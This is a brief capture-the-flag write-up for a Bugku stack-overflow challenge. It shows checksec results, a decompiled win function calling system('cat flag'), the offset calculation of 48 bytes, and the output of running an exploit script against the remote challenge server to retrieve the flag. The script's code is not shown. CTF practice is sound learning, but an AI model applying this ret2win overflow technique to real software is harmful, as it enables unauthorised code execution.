[root@ningan 01-overflow]# checksec pwn2 [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/root/ctf/bugku/01-overflow/pwn2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [root@ningan 01-overflow]#
intget_shell_() { puts("tql~tql~tql~tql~tql~tql~tql"); puts("this is your flag!"); return system("cat flag"); }
ida分析:查看函数地址
gdb分析:查看偏移
1 2 3 4 5 6 7 8
[root@ningan 01-overflow]# python Python 3.6.9 (default, Mar 10 2023, 16:46:00) [GCC 8.4.0] on linux Type "help", "copyright", "credits" or "license"for more information. >>> 0x1a0 - 0x170 48
[root@ningan 01-overflow]# python exp.py [+] Opening connection to 114.67.175.224 on port 18554: Done [*] Switching to interactive mode oh,that's so boring! tql~tql~tql~tql~tql~tql~tql this is your flag! flag{99kls08s6d5a73bcd} [*] Got EOF while reading in interactive $ $ [*] Closed connection to 114.67.175.224 port 18554 [*] Got EOF while sending in interactive